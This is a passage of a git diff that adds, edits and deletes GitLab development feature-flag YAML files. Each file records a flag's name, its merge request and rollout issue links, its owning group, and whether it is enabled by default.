+++ b/config/feature_flags/development/new_release_page.yml
@@ -0,0 +1,7 @@
+---
+name: new_release_page
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/new_variables_ui.yml b/config/feature_flags/development/new_variables_ui.yml
new file mode 100644
index 00000000000..7621b356f5d
--- /dev/null
+++ b/config/feature_flags/development/new_variables_ui.yml
@@ -0,0 +1,7 @@
+---
+name: new_variables_ui
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/not_issuable_queries.yml b/config/feature_flags/development/not_issuable_queries.yml
new file mode 100644
index 00000000000..f6bbceff505
--- /dev/null
+++ b/config/feature_flags/development/not_issuable_queries.yml
@@ -0,0 +1,7 @@
+---
+name: not_issuable_queries
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/notes_create_service_tracking.yml b/config/feature_flags/development/notes_create_service_tracking.yml
new file mode 100644
index 00000000000..38636b7ee53
--- /dev/null
+++ b/config/feature_flags/development/notes_create_service_tracking.yml
@@ -0,0 +1,7 @@
+---
+name: notes_create_service_tracking
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/oj_json.yml b/config/feature_flags/development/oj_json.yml
new file mode 100644
index 00000000000..b7e112ae544
--- /dev/null
+++ b/config/feature_flags/development/oj_json.yml
@@ -0,0 +1,7 @@
+---
+name: oj_json
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/optimized_issuable_label_filter.yml b/config/feature_flags/development/optimized_issuable_label_filter.yml
new file mode 100644
index 00000000000..12db63b03fb
--- /dev/null
+++ b/config/feature_flags/development/optimized_issuable_label_filter.yml
@@ -0,0 +1,7 @@
+---
+name: optimized_issuable_label_filter
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34503
+rollout_issue_url:
+group: group::analytics
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/optimized_timebox_queries.yml b/config/feature_flags/development/optimized_timebox_queries.yml
new file mode 100644
index 00000000000..d5301e20f3e
--- /dev/null
+++ b/config/feature_flags/development/optimized_timebox_queries.yml
@@ -0,0 +1,7 @@
+---
+name: optimized_timebox_queries
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/packages_coming_soon.yml b/config/feature_flags/development/packages_coming_soon.yml
new file mode 100644
index 00000000000..0a0d1f989dc
--- /dev/null
+++ b/config/feature_flags/development/packages_coming_soon.yml
@@ -0,0 +1,7 @@
+---
+name: packages_coming_soon
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/pages.yml b/config/feature_flags/development/pages.yml
new file mode 100644
index 00000000000..0afdc891e51
--- /dev/null
+++ b/config/feature_flags/development/pages.yml
@@ -0,0 +1,7 @@
+---
+name: pages
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/pages_artifacts_archive.yml b/config/feature_flags/development/pages_artifacts_archive.yml
new file mode 100644
index 00000000000..5cd4f4bd62b
--- /dev/null
+++ b/config/feature_flags/development/pages_artifacts_archive.yml
@@ -0,0 +1,7 @@
+---
+name: pages_artifacts_archive
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40361
+rollout_issue_url:
+group: group::release management
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/paginated_notes.yml b/config/feature_flags/development/paginated_notes.yml
new file mode 100644
index 00000000000..cd98b3b1bbf
--- /dev/null
+++ b/config/feature_flags/development/paginated_notes.yml
@@ -0,0 +1,7 @@
+---
+name: paginated_notes
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/periodic_project_authorization_recalculation.yml b/config/feature_flags/development/periodic_project_authorization_recalculation.yml
new file mode 100644
index 00000000000..90b9babcfca
--- /dev/null
+++ b/config/feature_flags/development/periodic_project_authorization_recalculation.yml
@@ -0,0 +1,7 @@
+---
+name: periodic_project_authorization_recalculation
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/personal_snippet_reference_filters.yml b/config/feature_flags/development/personal_snippet_reference_filters.yml
index 6a9aefbb379..44b9ac2f862 100644
--- a/config/feature_flags/development/personal_snippet_reference_filters.yml
+++ b/config/feature_flags/development/personal_snippet_reference_filters.yml
@@ -1,7 +1,7 @@
---
name: personal_snippet_reference_filters
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38571
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/235155
group: group::editor
type: development
-default_enabled: false \ No newline at end of file
+default_enabled: false
diff --git a/config/feature_flags/development/phabricator_import.yml b/config/feature_flags/development/phabricator_import.yml
new file mode 100644
index 00000000000..32ccfed557e
--- /dev/null
+++ b/config/feature_flags/development/phabricator_import.yml
@@ -0,0 +1,7 @@
+---
+name: phabricator_import
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/pipelines_security_report_summary.yml b/config/feature_flags/development/pipelines_security_report_summary.yml
new file mode 100644
index 00000000000..943997f1a4f
--- /dev/null
+++ b/config/feature_flags/development/pipelines_security_report_summary.yml
@@ -0,0 +1,7 @@
+---
+name: pipelines_security_report_summary
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/product_analytics.yml b/config/feature_flags/development/product_analytics.yml
new file mode 100644
index 00000000000..85bef678251
--- /dev/null
+++ b/config/feature_flags/development/product_analytics.yml
@@ -0,0 +1,7 @@
+---
+name: product_analytics
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/prohibit_hexadecimal_branch_names.yml b/config/feature_flags/development/prohibit_hexadecimal_branch_names.yml
new file mode 100644
index 00000000000..d1977765b81
--- /dev/null
+++ b/config/feature_flags/development/prohibit_hexadecimal_branch_names.yml
@@ -0,0 +1,7 @@
+---
+name: prohibit_hexadecimal_branch_names
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/project_export_as_ndjson.yml b/config/feature_flags/development/project_export_as_ndjson.yml
new file mode 100644
index 00000000000..eee61f4ce26
--- /dev/null
+++ b/config/feature_flags/development/project_export_as_ndjson.yml
@@ -0,0 +1,7 @@
+---
+name: project_export_as_ndjson
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/project_import_ndjson.yml b/config/feature_flags/development/project_import_ndjson.yml
new file mode 100644
index 00000000000..a7971d462fe
--- /dev/null
+++ b/config/feature_flags/development/project_import_ndjson.yml
@@ -0,0 +1,7 @@
+---
+name: project_import_ndjson
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/project_list_filter_bar.yml b/config/feature_flags/development/project_list_filter_bar.yml
new file mode 100644
index 00000000000..6040fe9edf5
--- /dev/null
+++ b/config/feature_flags/development/project_list_filter_bar.yml
@@ -0,0 +1,7 @@
+---
+name: project_list_filter_bar
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/project_statistics_sync.yml b/config/feature_flags/development/project_statistics_sync.yml
new file mode 100644
index 00000000000..ece3f1e49df
--- /dev/null
+++ b/config/feature_flags/development/project_statistics_sync.yml
@@ -0,0 +1,7 @@
+---
+name: project_statistics_sync
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/project_transactionless_destroy.yml b/config/feature_flags/development/project_transactionless_destroy.yml
new file mode 100644
index 00000000000..07018632e7a
--- /dev/null
+++ b/config/feature_flags/development/project_transactionless_destroy.yml
@@ -0,0 +1,7 @@
+---
+name: project_transactionless_destroy
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/projects_tokens_optional_encryption.yml b/config/feature_flags/development/projects_tokens_optional_encryption.yml
new file mode 100644
index 00000000000..76d76bca923
--- /dev/null
+++ b/config/feature_flags/development/projects_tokens_optional_encryption.yml
@@ -0,0 +1,7 @@
+---
+name: projects_tokens_optional_encryption
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/prometheus_computed_alerts.yml b/config/feature_flags/development/prometheus_computed_alerts.yml
new file mode 100644
index 00000000000..ddba72b2f46
--- /dev/null
+++ b/config/feature_flags/development/prometheus_computed_alerts.yml
@@ -0,0 +1,7 @@
+---
+name: prometheus_computed_alerts
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/push_mirror_syncs_lfs.yml b/config/feature_flags/development/push_mirror_syncs_lfs.yml
new file mode 100644
index 00000000000..d78fe679baa
--- /dev/null
+++ b/config/feature_flags/development/push_mirror_syncs_lfs.yml
@@ -0,0 +1,7 @@
+---
+name: push_mirror_syncs_lfs
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40137
+rollout_issue_url:
+group: group::source code
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/reactive_caching_limit_environment.yml b/config/feature_flags/development/reactive_caching_limit_environment.yml
new file mode 100644
index 00000000000..84db37d1d34
--- /dev/null
+++ b/config/feature_flags/development/reactive_caching_limit_environment.yml
@@ -0,0 +1,7 @@
+---
+name: reactive_caching_limit_environment
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/real_time_issue_sidebar.yml b/config/feature_flags/development/real_time_issue_sidebar.yml
new file mode 100644
index 00000000000..7cbaabe643f
--- /dev/null
+++ b/config/feature_flags/development/real_time_issue_sidebar.yml
@@ -0,0 +1,7 @@
+---
+name: real_time_issue_sidebar
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/rebalance_issues.yml b/config/feature_flags/development/rebalance_issues.yml
new file mode 100644
index 00000000000..4c14824a35d
--- /dev/null
+++ b/config/feature_flags/development/rebalance_issues.yml
@@ -0,0 +1,7 @@
+---
+name: rebalance_issues
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40124
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/239344
+group: 'group::project management'
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/release_asset_link_editing.yml b/config/feature_flags/development/release_asset_link_editing.yml
new file mode 100644
index 00000000000..6e6cce2c343
--- /dev/null
+++ b/config/feature_flags/development/release_asset_link_editing.yml
@@ -0,0 +1,7 @@
+---
+name: release_asset_link_editing
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/release_asset_link_type.yml b/config/feature_flags/development/release_asset_link_type.yml
new file mode 100644
index 00000000000..baeb2e59f82
--- /dev/null
+++ b/config/feature_flags/development/release_asset_link_type.yml
@@ -0,0 +1,7 @@
+---
+name: release_asset_link_type
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/release_evidence.yml b/config/feature_flags/development/release_evidence.yml
new file mode 100644
index 00000000000..a19994d51a7
--- /dev/null
+++ b/config/feature_flags/development/release_evidence.yml
@@ -0,0 +1,7 @@
+---
+name: release_evidence
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/release_evidence_collection.yml b/config/feature_flags/development/release_evidence_collection.yml
new file mode 100644
index 00000000000..c5ab8f8e5c0
--- /dev/null
+++ b/config/feature_flags/development/release_evidence_collection.yml
@@ -0,0 +1,7 @@
+---
+name: release_evidence_collection
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/release_issue_summary.yml b/config/feature_flags/development/release_issue_summary.yml
new file mode 100644
index 00000000000..ebd8ef2e4d0
--- /dev/null
+++ b/config/feature_flags/development/release_issue_summary.yml
@@ -0,0 +1,7 @@
+---
+name: release_issue_summary
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/release_mr_issue_urls.yml b/config/feature_flags/development/release_mr_issue_urls.yml
new file mode 100644
index 00000000000..f6abf50f535
--- /dev/null
+++ b/config/feature_flags/development/release_mr_issue_urls.yml
@@ -0,0 +1,7 @@
+---
+name: release_mr_issue_urls
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/release_show_page.yml b/config/feature_flags/development/release_show_page.yml
new file mode 100644
index 00000000000..5a3f1709452
--- /dev/null
+++ b/config/feature_flags/development/release_show_page.yml
@@ -0,0 +1,7 @@
+---
+name: release_show_page
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/remove_legacy_github_client.yml b/config/feature_flags/development/remove_legacy_github_client.yml
new file mode 100644
index 00000000000..adb0c7b5d03
--- /dev/null
+++ b/config/feature_flags/development/remove_legacy_github_client.yml
@@ -0,0 +1,7 @@
+---
+name: remove_legacy_github_client
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/reorder_designs.yml b/config/feature_flags/development/reorder_designs.yml
deleted file mode 100644
index 89c6bec7351..00000000000
--- a/config/feature_flags/development/reorder_designs.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: reorder_designs
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37835
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/232992
-group: group::knowledge
-type: development
-default_enabled: true
diff --git a/config/feature_flags/development/repack_after_shard_migration.yml b/config/feature_flags/development/repack_after_shard_migration.yml
new file mode 100644
index 00000000000..addfcf66537
--- /dev/null
+++ b/config/feature_flags/development/repack_after_shard_migration.yml
@@ -0,0 +1,7 @@
+---
+name: repack_after_shard_migration
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/repository.yml b/config/feature_flags/development/repository.yml
new file mode 100644
index 00000000000..2ae4abc42bc
--- /dev/null
+++ b/config/feature_flags/development/repository.yml
@@ -0,0 +1,7 @@
+---
+name: repository
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/repository_archive_hotlinking_interception.yml b/config/feature_flags/development/repository_archive_hotlinking_interception.yml
new file mode 100644
index 00000000000..bc9efb2e4bc
--- /dev/null
+++ b/config/feature_flags/development/repository_archive_hotlinking_interception.yml
@@ -0,0 +1,7 @@
+---
+name: repository_archive_hotlinking_interception
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/resource_access_token.yml b/config/feature_flags/development/resource_access_token.yml
new file mode 100644
index 00000000000..80c5b2a5eb4
--- /dev/null
+++ b/config/feature_flags/development/resource_access_token.yml
@@ -0,0 +1,7 @@
+---
+name: resource_access_token
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/rugged_commit_is_ancestor.yml b/config/feature_flags/development/rugged_commit_is_ancestor.yml
new file mode 100644
index 00000000000..06f894b79b3
--- /dev/null
+++ b/config/feature_flags/development/rugged_commit_is_ancestor.yml
@@ -0,0 +1,7 @@
+---
+name: rugged_commit_is_ancestor
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/rugged_commit_tree_entry.yml b/config/feature_flags/development/rugged_commit_tree_entry.yml
new file mode 100644
index 00000000000..a0cb28e6ca9
--- /dev/null
+++ b/config/feature_flags/development/rugged_commit_tree_entry.yml
@@ -0,0 +1,7 @@
+---
+name: rugged_commit_tree_entry
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/rugged_find_commit.yml b/config/feature_flags/development/rugged_find_commit.yml
new file mode 100644
index 00000000000..b84e056d9f5
--- /dev/null
+++ b/config/feature_flags/development/rugged_find_commit.yml
@@ -0,0 +1,7 @@
+---
+name: rugged_find_commit
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/rugged_list_commits_by_oid.yml b/config/feature_flags/development/rugged_list_commits_by_oid.yml
new file mode 100644
index 00000000000..10093f2977f
--- /dev/null
+++ b/config/feature_flags/development/rugged_list_commits_by_oid.yml
@@ -0,0 +1,7 @@
+---
+name: rugged_list_commits_by_oid
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/rugged_tree_entries.yml b/config/feature_flags/development/rugged_tree_entries.yml
new file mode 100644
index 00000000000..6ef296c43a6
--- /dev/null
+++ b/config/feature_flags/development/rugged_tree_entries.yml
@@ -0,0 +1,7 @@
+---
+name: rugged_tree_entries
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/rugged_tree_entry.yml b/config/feature_flags/development/rugged_tree_entry.yml
new file mode 100644
index 00000000000..8ae0a71960b
--- /dev/null
+++ b/config/feature_flags/development/rugged_tree_entry.yml
@@ -0,0 +1,7 @@
+---
+name: rugged_tree_entry
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/safezip_use_rubyzip.yml b/config/feature_flags/development/safezip_use_rubyzip.yml
new file mode 100644
index 00000000000..139283d93d2
--- /dev/null
+++ b/config/feature_flags/development/safezip_use_rubyzip.yml
@@ -0,0 +1,7 @@
+---
+name: safezip_use_rubyzip
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/save_raw_usage_data.yml b/config/feature_flags/development/save_raw_usage_data.yml
new file mode 100644
index 00000000000..9556f699b9b
--- /dev/null
+++ b/config/feature_flags/development/save_raw_usage_data.yml
@@ -0,0 +1,7 @@
+---
+name: save_raw_usage_data
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/schema_linting.yml b/config/feature_flags/development/schema_linting.yml
new file mode 100644
index 00000000000..1220b02be0d
--- /dev/null
+++ b/config/feature_flags/development/schema_linting.yml
@@ -0,0 +1,7 @@
+---
+name: schema_linting
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/search_track_unique_users.yml b/config/feature_flags/development/search_track_unique_users.yml
new file mode 100644
index 00000000000..a5d4940c96a
--- /dev/null
+++ b/config/feature_flags/development/search_track_unique_users.yml
@@ -0,0 +1,7 @@
+---
+name: search_track_unique_users
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40134
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/240906
+group: group::global search
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/security_on_demand_scans_site_validation.yml b/config/feature_flags/development/security_on_demand_scans_site_validation.yml
new file mode 100644
index 00000000000..27ec926d9ac
--- /dev/null
+++ b/config/feature_flags/development/security_on_demand_scans_site_validation.yml
@@ -0,0 +1,7 @@
+---
+name: security_on_demand_scans_site_validation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40685
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241815
+group: group::dynamic analysis
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/serverless_domain.yml b/config/feature_flags/development/serverless_domain.yml
new file mode 100644
index 00000000000..160730117d6
--- /dev/null
+++ b/config/feature_flags/development/serverless_domain.yml
@@ -0,0 +1,7 @@
+---
+name: serverless_domain
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/service_desk_custom_address.yml b/config/feature_flags/development/service_desk_custom_address.yml
new file mode 100644
index 00000000000..25cab0059c7
--- /dev/null
+++ b/config/feature_flags/development/service_desk_custom_address.yml
@@ -0,0 +1,7 @@
+---
+name: service_desk_custom_address
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/settings_operations_prometheus_service.yml b/config/feature_flags/development/settings_operations_prometheus_service.yml
new file mode 100644
index 00000000000..de2df4b219d
--- /dev/null
+++ b/config/feature_flags/development/settings_operations_prometheus_service.yml
@@ -0,0 +1,7 @@
+---
+name: settings_operations_prometheus_service
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/show_author_on_note.yml b/config/feature_flags/development/show_author_on_note.yml
new file mode 100644
index 00000000000..1f67392a306
--- /dev/null
+++ b/config/feature_flags/development/show_author_on_note.yml
@@ -0,0 +1,7 @@
+---
+name: show_author_on_note
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40198
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/250282
+group: group::project management
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/show_contributor_on_note.yml b/config/feature_flags/development/show_contributor_on_note.yml
new file mode 100644
index 00000000000..89533037244
--- /dev/null
+++ b/config/feature_flags/development/show_contributor_on_note.yml
@@ -0,0 +1,7 @@
+---
+name: show_contributor_on_note
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40198
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/249179
+group: group::project management
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/similarity_search.yml b/config/feature_flags/development/similarity_search.yml
new file mode 100644
index 00000000000..b7d48c5b986
--- /dev/null
+++ b/config/feature_flags/development/similarity_search.yml
@@ -0,0 +1,7 @@
+---
+name: similarity_search
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/snippet_multiple_files.yml b/config/feature_flags/development/snippet_multiple_files.yml
new file mode 100644
index 00000000000..28520cea19c
--- /dev/null
+++ b/config/feature_flags/development/snippet_multiple_files.yml
@@ -0,0 +1,7 @@
+---
+name: snippet_multiple_files
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/snippets.yml b/config/feature_flags/development/snippets.yml
new file mode 100644
index 00000000000..14f37feaa3f
--- /dev/null
+++ b/config/feature_flags/development/snippets.yml
@@ -0,0 +1,7 @@
+---
+name: snippets
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/snippets_binary_blob.yml b/config/feature_flags/development/snippets_binary_blob.yml
new file mode 100644
index 00000000000..c8d1b5d6ba2
--- /dev/null
+++ b/config/feature_flags/development/snippets_binary_blob.yml
@@ -0,0 +1,7 @@
+---
+name: snippets_binary_blob
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/snippets_edit_vue.yml b/config/feature_flags/development/snippets_edit_vue.yml
new file mode 100644
index 00000000000..d62926a8337
--- /dev/null
+++ b/config/feature_flags/development/snippets_edit_vue.yml
@@ -0,0 +1,7 @@
+---
+name: snippets_edit_vue
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25667
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/207239
+group: group::editor
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/snippets_vue.yml b/config/feature_flags/development/snippets_vue.yml
new file mode 100644
index 00000000000..b3b7e525a6e
--- /dev/null
+++ b/config/feature_flags/development/snippets_vue.yml
@@ -0,0 +1,7 @@
+---
+name: snippets_vue
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/soft_email_confirmation.yml b/config/feature_flags/development/soft_email_confirmation.yml
new file mode 100644
index 00000000000..d471cf442de
--- /dev/null
+++ b/config/feature_flags/development/soft_email_confirmation.yml
@@ -0,0 +1,7 @@
+---
+name: soft_email_confirmation
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/specialized_project_authorization_project_share_worker.yml b/config/feature_flags/development/specialized_project_authorization_project_share_worker.yml
new file mode 100644
index 00000000000..c09c5ad519b
--- /dev/null
+++ b/config/feature_flags/development/specialized_project_authorization_project_share_worker.yml
@@ -0,0 +1,7 @@
+---
+name: specialized_project_authorization_project_share_worker
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/specialized_project_authorization_workers.yml b/config/feature_flags/development/specialized_project_authorization_workers.yml
new file mode 100644
index 00000000000..7fceff532f3
--- /dev/null
+++ b/config/feature_flags/development/specialized_project_authorization_workers.yml
@@ -0,0 +1,7 @@
+---
+name: specialized_project_authorization_workers
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/sql-set-operators.yml b/config/feature_flags/development/sql-set-operators.yml
new file mode 100644
index 00000000000..cefe2a83782
--- /dev/null
+++ b/config/feature_flags/development/sql-set-operators.yml
@@ -0,0 +1,7 @@
+---
+name: sql-set-operators
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39786
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39786
+group: group::access
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/sql_set_operators.yml b/config/feature_flags/development/sql_set_operators.yml
new file mode 100644
index 00000000000..b8a838a13f1
--- /dev/null
+++ b/config/feature_flags/development/sql_set_operators.yml
@@ -0,0 +1,7 @@
+---
+name: sql_set_operators
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/squash_options.yml b/config/feature_flags/development/squash_options.yml
new file mode 100644
index 00000000000..9ba5129b9a3
--- /dev/null
+++ b/config/feature_flags/development/squash_options.yml
@@ -0,0 +1,7 @@
+---
+name: squash_options
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/sse_image_uploads.yml b/config/feature_flags/development/sse_image_uploads.yml
new file mode 100644
index 00000000000..469af524c87
--- /dev/null
+++ b/config/feature_flags/development/sse_image_uploads.yml
@@ -0,0 +1,7 @@
+---
+name: sse_image_uploads
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/store_instance_statistics_measurements.yml b/config/feature_flags/development/store_instance_statistics_measurements.yml
new file mode 100644
index 00000000000..9483b9005df
--- /dev/null
+++ b/config/feature_flags/development/store_instance_statistics_measurements.yml
@@ -0,0 +1,7 @@
+---
+name: store_instance_statistics_measurements
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41300
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/247871
+group: group::analytics
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/store_mentioned_users_to_db.yml b/config/feature_flags/development/store_mentioned_users_to_db.yml
new file mode 100644
index 00000000000..e19076f2b84
--- /dev/null
+++ b/config/feature_flags/development/store_mentioned_users_to_db.yml
@@ -0,0 +1,7 @@
+---
+name: store_mentioned_users_to_db
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/suggest_pipeline.yml b/config/feature_flags/development/suggest_pipeline.yml
new file mode 100644
index 00000000000..bd467f4bcca
--- /dev/null
+++ b/config/feature_flags/development/suggest_pipeline.yml
@@ -0,0 +1,7 @@
+---
+name: suggest_pipeline
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/track_editor_edit_actions.yml b/config/feature_flags/development/track_editor_edit_actions.yml
new file mode 100644
index 00000000000..a0a1a3ea873
--- /dev/null
+++ b/config/feature_flags/development/track_editor_edit_actions.yml
@@ -0,0 +1,7 @@
+---
+name: track_editor_edit_actions
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39694
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/240928
+group: group::editor
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/track_issue_activity_actions.yml b/config/feature_flags/development/track_issue_activity_actions.yml
new file mode 100644
index 00000000000..034b697ab52
--- /dev/null
+++ b/config/feature_flags/development/track_issue_activity_actions.yml
@@ -0,0 +1,7 @@
+---
+name: track_issue_activity_actions
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40904
+rollout_issue_url:
+group: group::project_management
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/track_resource_state_change_events.yml b/config/feature_flags/development/track_resource_state_change_events.yml
new file mode 100644
index 00000000000..3bfde5cf05e
--- /dev/null
+++ b/config/feature_flags/development/track_resource_state_change_events.yml
@@ -0,0 +1,7 @@
+---
+name: track_resource_state_change_events
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/track_unique_visits.yml b/config/feature_flags/development/track_unique_visits.yml
new file mode 100644
index 00000000000..6a60d327e87
--- /dev/null
+++ b/config/feature_flags/development/track_unique_visits.yml
@@ -0,0 +1,7 @@
+---
+name: track_unique_visits
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
